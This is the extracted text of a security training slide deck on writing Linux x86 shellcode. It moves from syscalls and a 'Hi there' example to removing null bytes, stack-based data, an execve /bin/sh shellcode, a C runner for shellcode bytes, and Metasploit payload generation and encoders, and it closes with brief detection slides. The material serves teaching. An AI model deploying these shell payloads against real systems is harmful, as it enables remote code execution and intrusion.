Shellcode
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Content
Intel Architecture
Buffer Overflow
Memory Layout
C Arrays
BoF Exploit
Assembler
Remote Exploit
Shellcode
Exploit Mitigations
Function Calls
Debugging Defeat Exploit Mitigations
© Compass Security Schweiz AG www.csnc.ch Slide 2
Shellcode?
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Shellcode! Example in one slide
© Compass Security Schweiz AG www.csnc.ch Slide 4
Shellcode
Shellcode is:
The code we want to upload to the remote system
evil code
© Compass Security Schweiz AG www.csnc.ch Slide 5
Shellcode
Upload our own code!
© Compass Security Schweiz AG www.csnc.ch Slide 6
Shellcode
Server Software
Evil
Exploit
Evil
© Compass Security Schweiz AG www.csnc.ch Slide 7
Shellcode
What should a shellcode do?
Execute a shell (bash)
Add admin user
Download and execute more code
Connect back to attacker
© Compass Security Schweiz AG www.csnc.ch Slide 8
Shellcode
How does a shellcode work?
Assembler instructions
Native code which performs a certain action (like starting a
shell)
© Compass Security Schweiz AG www.csnc.ch Slide 9
Shellcode
Shellcode Properties
Should be small
Because we maybe have small buffers in the vulnerable
program
Position Independent
program
No Null Characters (0x00)
Strcpy etc. will stop copying after Null bytes
Self-Contained
© Compass Security Schweiz AG www.csnc.ch Slide 10
Shellcode
Recap:
Shellcode is:
A string of bytes
Which can be executed
© Compass Security Schweiz AG www.csnc.ch Slide 11
Syscalls
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Syscalls
Note: Next slides are in x32 (not x64)
© Compass Security Schweiz AG www.csnc.ch Slide 13
Syscalls
Syscalls?
Ask the kernel to do something for us
Why syscalls?
Makes it easy to create shellcode
Direct interface to the kernel
Alternative:
Call LIBC code: write()
© Compass Security Schweiz AG www.csnc.ch Slide 14
Syscalls
Lets try to write a shellcode with the write() syscall
To print a message:
“Hi there”
Code:
write(1, “Hi there”, 8);
© Compass Security Schweiz AG www.csnc.ch Slide 15
Syscalls
syscalls(2):
The system call is the fundamental interface
between an application and the Linux kernel.
System calls are generally not invoked directly,
but rather via wrapper functions in glibc […]
For example, glibc contains a function truncate()
which invokes the underlying "truncate" system
call.
© Compass Security Schweiz AG www.csnc.ch Slide 16
Syscalls
Process Control
• load
• execute
• end, abort
• create process (for example, fork)
• terminate process
• get/set process attributes
• wait for time, wait event, signal event
• allocate, free memory
File management
• create file, delete file
• open, close
• read, write, reposition
• get/set file attributes
© Compass Security Schweiz AG www.csnc.ch Slide 17
Syscalls
Example system calls:
Accept
Alarm
Bind
Brk
Chmod
Chown
Clock_gettime
Dup
Exit
Getcwd
Kill
Link
Lseek
Open
poll
© Compass Security Schweiz AG www.csnc.ch Slide 18
Syscalls
How to call a syscall:
mov eax <system_call_number>
int 0x80
Arguments in:
EBX
ECX
EDX
© Compass Security Schweiz AG www.csnc.ch Slide 19
Syscalls
write (
int fd,
char *msg,
unsigned int len);
write (
1,
&msg,
strlen(msg));
© Compass Security Schweiz AG www.csnc.ch Slide 20
Syscalls
What are file descriptors?
0: Stdin
1: Stdout
2: Stderr
And also:
Files
Sockets (Network)
© Compass Security Schweiz AG www.csnc.ch Slide 21
Syscalls
Systemcall calling convention:
EAX: Write(): 0x04
EBX: FD (file descriptor), stdout = 0x01
ECX: address of string to write
EDX: Length of string
int 0x80: Execute syscall
© Compass Security Schweiz AG www.csnc.ch Slide 22
Syscalls: Assembler print
write (
int fd,
char *msg,
unsigned int len);
mov eax, 4 // write()
mov ebx, 1 // int fd
mov ecx, msg // char *msg
mov edx, 9 // unsigned int len
int 0x80 // invoke syscall
© Compass Security Schweiz AG www.csnc.ch Slide 23
Syscalls: Assembler print
$ cat print.asm
section .data
msg db 'Hi there',0xa
section .text
global _start
_start:
; write (int fd, char *msg, unsigned int len);
mov eax, 4
mov ebx, 1
mov ecx, msg
mov edx, 9
int 0x80
; exit (int ret)
mov eax, 1
mov ebx, 0
int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 24
Syscalls: Assembler print
$ cat print.asm
section .data
msg db 'Hi there',0xa Data
section .text
global _start Text
_start:
; write (int fd, char *msg, unsigned int len);
mov eax, 4
mov ebx, 1
mov ecx, msg
mov edx, 9
int 0x80
; exit (int ret)
mov eax, 1
mov ebx, 0
int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 25
Syscalls
Recap:
Syscalls are little functions provided by the kernel
Can be called by putting syscall number in eax, and issuing int 80
Arguments are in registers
© Compass Security Schweiz AG www.csnc.ch Slide 26
How is shellcode formed?
Short description of shellcode
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
How is shellcode formed?
$ cat print.asm
section .data
msg db 'Hi there',0xa
section .text
global _start
_start:
; write (int fd, char *msg, unsigned int len);
mov eax, 4
mov ebx, 1
mov ecx, msg
mov edx, 9
int 0x80
; exit (int ret)
mov eax, 1
mov ebx, 0
int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 28
How is shellcode formed?
Compile it:
$ nasm -f elf print.asm
Link it:
$ ld –m elf_i386 -o print print.o
Execute it:
$ ./print
Hi there
$
© Compass Security Schweiz AG www.csnc.ch Slide 29
How is shellcode formed?
$ objdump -d print
08048080 <_start>:
// print
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 a4 90 04 08 mov $0x80490a4,%ecx
804808f: ba 09 00 00 00 mov $0x9,%edx
8048094: cd 80 int $0x80
// exit()
8048096: b8 01 00 00 00 mov $0x1,%eax
804809b: bb 00 00 00 00 mov $0x0,%ebx
80480a0: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 30
How is shellcode formed?
$ objdump -d print
08048080 <_start>:
// print
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 a4 90 04 08 mov $0x80490a4,%ecx
804808f: ba 09 00 00 00 mov $0x9,%edx
8048094: cd 80 int $0x80
// exit()
8048096: b8 01 00 00 00 mov $0x1,%eax
804809b: bb 00 00 00 00 mov $0x0,%ebx
80480a0: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 31
How is shellcode formed?
$ hexdump –C print
00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 02 00 03 00 01 00 00 00 80 80 04 08 34 00 00 00 |............4...|
00000020 94 01 00 00 00 00 00 00 34 00 20 00 02 00 28 00 |........4. ...(.|
00000030 06 00 03 00 01 00 00 00 00 00 00 00 00 80 04 08 |................|
00000040 00 80 04 08 a2 00 00 00 a2 00 00 00 05 00 00 00 |................|
00000050 00 10 00 00 01 00 00 00 a4 00 00 00 a4 90 04 08 |................|
00000060 a4 90 04 08 09 00 00 00 09 00 00 00 06 00 00 00 |................|
00000070 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000080 b8 04 00 00 00 bb 01 00 00 00 b9 a4 90 04 08 ba |................|
00000090 09 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................|
000000a0 cd 80 00 00 48 69 20 74 68 65 72 65 0a 00 2e 73 |....Hi there...s|
000000b0 79 6d 74 61 62 00 2e 73 74 72 74 61 62 00 2e 73 |ymtab..s…
© Compass Security Schweiz AG www.csnc.ch Slide 32
How is shellcode formed?
Compile/Assembler:
The process of converting source code into a series of instructions/bytes
Assembler -> Bytes
Disassemble:
The process of converting a series of instructions/bytes into the equivalent
assembler source code
Bytes -> Assembler
Decompile:
The process of converting instructions/assembler into the original source code
Assembler -> C/C++
© Compass Security Schweiz AG www.csnc.ch Slide 33
How is shellcode formed?
Stack
0x80490a4
“Hi there”
Data 48 69 20 74 68 65 72 65
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
Code 804808a:
804808f:
b9
ba
a4
09
90
00
04
00
08
00
mov
mov
$0x80490a4,%ecx
$0x9,%edx
8048094: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 34
How is shellcode formed?
Problems with the shellcode:
Null bytes
References data section / Not position independent
© Compass Security Schweiz AG www.csnc.ch Slide 35
How is shellcode formed?
Recap:
Compiled assembler code produces bytes
These bytes can be executed
To have a functioning shellcode, some problems need to be fixed
0 bytes
Data reference
© Compass Security Schweiz AG www.csnc.ch Slide 36
Shellcode Fix: Null Bytes
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Shellcode Fix: Null Bytes
Why are null bytes a problem?
Strcpy() etc. will stop copying if it encounters a 0 byte
© Compass Security Schweiz AG www.csnc.ch Slide 38
Shellcode Fix: Null Bytes
How to fix null bytes in shellcode?
Replace instructions with contain 0 bytes
Note: This is more an art than a technique.
© Compass Security Schweiz AG www.csnc.ch Slide 39
Shellcode Fix: Null Bytes
// print
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 a4 90 04 08 mov $0x80490a4,%ecx
804808f: ba 09 00 00 00 mov $0x9,%edx
8048094: cd 80 int $0x80
// exit()
8048096: b8 01 00 00 00 mov $0x1,%eax
804809b: bb 00 00 00 00 mov $0x0,%ebx
80480a0: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 40
Shellcode Fix: Null Bytes
How do we remove the null bytes?
Replace instructions which have 0 bytes with equivalent
instructions
Examples
Has 0 bytes:
mov $0x04, %eax
Equivalent instructions (without 0 bytes):
xor %eax, %eax
mov $0x04, %al
© Compass Security Schweiz AG www.csnc.ch Slide 41
Shellcode Fix: Null Bytes
// print
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx
8048068: b0 04 mov $0x4,%al
804806a: b3 01 mov $0x1,%bl
804806c: b2 08 mov $0x8,%dl
// exit()
804807c: b0 01 mov $0x1,%al
804807e: 31 db xor %ebx,%ebx
8048080: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 42
Shellcode Fix: Null Bytes
Recap:
Need to remove \x00 bytes
By exchanging instructions with equivalent instructions
© Compass Security Schweiz AG www.csnc.ch Slide 43
Shellcode Fix: Stack Reference
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Shellcode Fix: Stack Reference
Problem:
The current shellcode references a string from the data section
In an exploit we can only execute code
not (yet) modify data!
Solution:
Remove dependency on the data section
By storing the same data directly in the code
And move it to the stack
© Compass Security Schweiz AG www.csnc.ch Slide 45
Shellcode Fix: Stack Reference
$ objdump -d print
08048080 <_start>:
// print
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 a4 90 04 08 mov $0x80490a4,%ecx
804808f: ba 09 00 00 00 mov $0x9,%edx
8048094: cd 80 int $0x80
// exit()
8048096: b8 01 00 00 00 mov $0x1,%eax
804809b: bb 00 00 00 00 mov $0x0,%ebx
80480a0: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 46
Shellcode Fix: Stack Reference
How does it look like in memory?
We have a string in the data section
We have code in the text section
The code references the data section
© Compass Security Schweiz AG www.csnc.ch Slide 47
Syscalls: Memory Layout
Stack
0x80490a4
“Hi there”
Data 48 69 20 74 68 65 72 65
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
Code 804808a:
804808f:
b9
ba
a4
09
90
00
04
00
08
00
mov
mov
$0x80490a4,%ecx
$0x9,%edx
8048094: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 48
Shellcode Fix: Stack Reference
What do we want?
Have the data in the code section!
How do we reference the data?
Push the data onto the stack
Reference the data on the stack (for the system call)
© Compass Security Schweiz AG www.csnc.ch Slide 49
Syscalls: Memory Layout
ESP Stack “Hi there”
48 69 20 74 68 65 72 65
Data
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
Code 804808a:
804808f:
b9
ba
a4
09
90
00
04
00
08
00
mov
mov
%esp,%ecx
$0x9,%edx
8048094: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 50
Shellcode Fix: Stack Reference
Translate to ASCII:
; H i _ t h e r e
; 48 69 20 74 68 65 72 65
Invert for little endianness:
; 65 72 65 68 74 20 69 48
© Compass Security Schweiz AG www.csnc.ch Slide 51
Shellcode Fix: Stack Reference
; H i _ t h e r e
; 48 69 20 74 68 65 72 65
; 65 72 65 68 74 20 69 48
push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 52
Shellcode Fix: Stack Reference
<Stuff>
ESP
push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 53
Shellcode Fix: Stack Reference
<Stuff>
ESP
0x65726568 push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 54
Shellcode Fix: Stack Reference
<Stuff>
ESP
0x65726568 push 0x65726568
0x74206948 push 0x74206948
mov ecx, esp
int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 55
Shellcode Fix: Stack Reference
<Stuff>
ESP
0x65726568 push 0x65726568
0x74206948 push 0x74206948
mov ecx, esp
ECX int 0x80
© Compass Security Schweiz AG www.csnc.ch Slide 56
Shellcode Fix: Stack Reference
0x74206948 0x65726568 <Stuff>
48 69 20 74 68 65 72 65 <Stuff>
H i _ t h e r e <Stuff>
2864434397 Number in Decimal (10)
0xAABBCCDD Number in Hex (16)
DD CC BB AA Little Endian Storage
© Compass Security Schweiz AG www.csnc.ch Slide 57
Shellcode Fix: Stack Reference
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx
8048068: b0 04 mov $0x4,%al
804806a: b3 01 mov $0x1,%bl
804806c: b2 08 mov $0x8,%dl
804806e: 68 68 65 72 65 push $0x65726568
8048073: 68 48 69 20 74 push $0x74206948
8048078: 89 e1 mov %esp,%ecx
804807a: cd 80 int $0x80
804807c: b0 01 mov $0x1,%al
804807e: 31 db xor %ebx,%ebx
8048080: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 58
Shellcode Fix: Stack Reference
Recap:
External data reference needs to be removed
Put the data into code
And from the code into the stack
© Compass Security Schweiz AG www.csnc.ch Slide 59
Fixed Shellcode
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Shellcode Problems
Now we have:
No null bytes!
No external dependencies!
© Compass Security Schweiz AG www.csnc.ch Slide 61
Memory Layout (Old, with data reference)
Stack
0x80490a4
“Hi there”
Data 48 69 20 74 68 65 72 65
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
Code 804808a:
804808f:
b9
ba
a4
09
90
00
04
00
08
00
mov
mov
$0x80490a4,%ecx
$0x9,%edx
8048094: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 62
Memory Layout (New, stack reference)
Stack
“Hi there”
48 69 20 74 68 65 72 65
Data
804806e: 68 68 65 72 65 push $0x65726568
8048073: 68 48 69 20 74 push $0x74206948
8048078: 89 e1 mov %esp,%ecx
Code
© Compass Security Schweiz AG www.csnc.ch Slide 63
Convert shellcode
Convert the output of the objdump d to C-like string:
objdump -d print2
| grep "^ "
| cut -d$'\t' -f 2
| tr '\n' ' '
| sed -e 's/ *$//'
| sed -e 's/ \+/\\x/g'
| awk '{print "\\x"$0}'
Wow, my command-line fu is off the charts!
Result:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\
xb2\x08\x68\x68\x65\x72\x65\x68\x48\x69\x20\x74\x
89\xe1\xcd\x80\xb0\x01\x31\xdb\xcd\x80
© Compass Security Schweiz AG www.csnc.ch Slide 64
Execute shellcode
$ cat shellcodetest.c
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x31\xdb[…]";
int main(void) {
( *( void(*)() ) shellcode)();
}
$ gcc shellcodetest.c -o shellcodetest
$ ./shellcodetest
Hi there
$
© Compass Security Schweiz AG www.csnc.ch Slide 65
Memory Layout (New New)
804806e: 68 68 65 72 65 push $0x65726568
Stack 8048073:
8048078:
68 48 69 20 74
89 e1
push
mov
$0x74206948
%esp,%ecx
“Hi there”
48 69 20 74 68 65 72 65
Data
Code
© Compass Security Schweiz AG www.csnc.ch Slide 66
Execute Stuff
© Compass Security Schweiz AG www.csnc.ch Slide 67
Execute Stuff
Syscall 11: execve()
int execve(
const char *filename,
char *const argv[],
char *const envp[]);
e.g.:
execve(“/bin/bash”, NULL, NULL);
© Compass Security Schweiz AG www.csnc.ch Slide 68
Shell Execute Shellcode
Shell Execute Shellcode:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80
© Compass Security Schweiz AG www.csnc.ch Slide 69
Shellcode! Example in one slide
© Compass Security Schweiz AG www.csnc.ch Slide 70
32 vs 64 bit
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
32bit vs 64bit
Syscalls in 64 bit are nearly identical to 32 bit
How to execute them:
32 bit: int 80
64 bit: syscall
Where are the arguments:
32 bit: ebx, ecx, edx, …
64 bit: rdi, rsi, rdx
© Compass Security Schweiz AG www.csnc.ch Slide 72
32bit vs 64bit
Syscalls:
© Compass Security Schweiz AG www.csnc.ch Slide 73
Types of shellcode
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Types of shellcode
Types of shellcode:
Local shellcode (privilege escalation)
Remote shellcode
Reverse
Bind
Find
© Compass Security Schweiz AG www.csnc.ch Slide 75
Shellcode
Bind shellcode:
Port 8080
Client Software
Shellcode Exploit
Port 31337
© Compass Security Schweiz AG www.csnc.ch Slide 76
Shellcode
Reverse shellcode:
Port 8080
Client Software
Shellcode Exploit
Port 31337
© Compass Security Schweiz AG www.csnc.ch Slide 77
Shellcode
Find shellcode:
Port 8080
Client Software
Shellcode Exploit
© Compass Security Schweiz AG www.csnc.ch Slide 78
Types of shellcode
Types of shellcode:
Self contained (all in one)
Staged
Minimal initial shellcode: Stager
Stager loads stage 1
Stage 1 loads Stage 2
© Compass Security Schweiz AG www.csnc.ch Slide 79
Metasploit
Generate Shellcode with Metasploit
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Metasploit
Who wants to code shellcode?
Metasploit payloads:
32/64 bit
Listen-, connect-back-, execute, add-
Alphanumeric, sticky-bit, anti-
© Compass Security Schweiz AG www.csnc.ch Slide 81
Metasploit Shellcode: Payload List
Payloads:
$ msfconsole
msf > use payload/linux/x64/[TAB]
use payload/linux/x64/exec
use payload/linux/x64/shell/bind_tcp
use payload/linux/x64/shell/reverse_tcp
use payload/linux/x64/shell_bind_tcp
use payload/linux/x64/shell_bind_tcp_random_port
use payload/linux/x64/shell_find_port
use payload/linux/x64/shell_reverse_tcp
© Compass Security Schweiz AG www.csnc.ch Slide 82
Metasploit Shellcode: Payload Create
Let metasploit create an exec() shellcode:
msf > use payload/linux/x64/exec
msf payload(exec) > set cmd = "/bin/bash"
cmd => = /bin/bash
msf payload(exec) > generate
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" +
"\x0c\x00\x00\x00\x3d\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73" +
"\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"
© Compass Security Schweiz AG www.csnc.ch Slide 83
Metasploit Shellcode: Payload Create
And now without null bytes:
msf payload(exec) > generate -b '\x00\x0A'
"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\xca\x7f\x48\xd1\xcf\x89\xea\x19\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa0\x44\x10" +
"\x48\x87\x32\xc5\x7b\xa3\x11\x67\xa2\xa7\x89\xb9\x51\x43" +
"\x98\x20\xfc\xac\x89\xea\x51\x43\x99\x1a\x39\xc3\x89\xea" +
"\x19\xf7\x5f\x67\xb3\xa6\xe7\xc5\x7b\xab\x0c\x20\xd1\x99" +
"\xde\xa2\x90\x2c\x70\x4d\xd1\xcf\x89\xea\x19"
© Compass Security Schweiz AG www.csnc.ch Slide 84
Metasploit Shellcode: Payload Encoder
Shellcode encoders:
msf payload(exec) > show encoders
[…]
x86/add_sub manual Add/Sub Encoder
x86/add_sub
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/alpha_mixed
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/alpha_upper
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/avoid_underscore_tolower
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/avoid_utf8_tolower
x86/context_stat
x86/context_time
manual
manual
stat(2)-based Context Keyed Payload Encoder
time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
© Compass Security Schweiz AG www.csnc.ch Slide 85
Metasploit Shellcode: Payload Encoder
Alphanumeric Shellcode
© Compass Security Schweiz AG www.csnc.ch Slide 86
Metasploit Shellcode
Recap:
Metasploit can generate shellcode
Pretty much any form of shellcode
© Compass Security Schweiz AG www.csnc.ch Slide 87
References:
References:
Modern vulnerability exploiting: Shellcode
https://drive.google.com/file/d/0B7qRLuwvXbWXT1htVUVpdjRZUmc/edit
© Compass Security Schweiz AG www.csnc.ch Slide 88
Defense: Detect Shellcode
Compass Security Schweiz AG Tel +41 55 214 41 60
Werkstrasse 20 Fax +41 55 214 41 61
Postfach 2038 team@csnc.ch
CH-8645 Jona www.csnc.ch
Detect Shellcode
How to detect shellcode usage:
Find stager
Find stage1 / stage2
NIDS: Network based Intrusion Detection System
HIDS: Host based Intrusion Detection System
© Compass Security Schweiz AG www.csnc.ch Slide 90
Network based intrusion detection system
© Compass Security Schweiz AG www.csnc.ch Slide 91
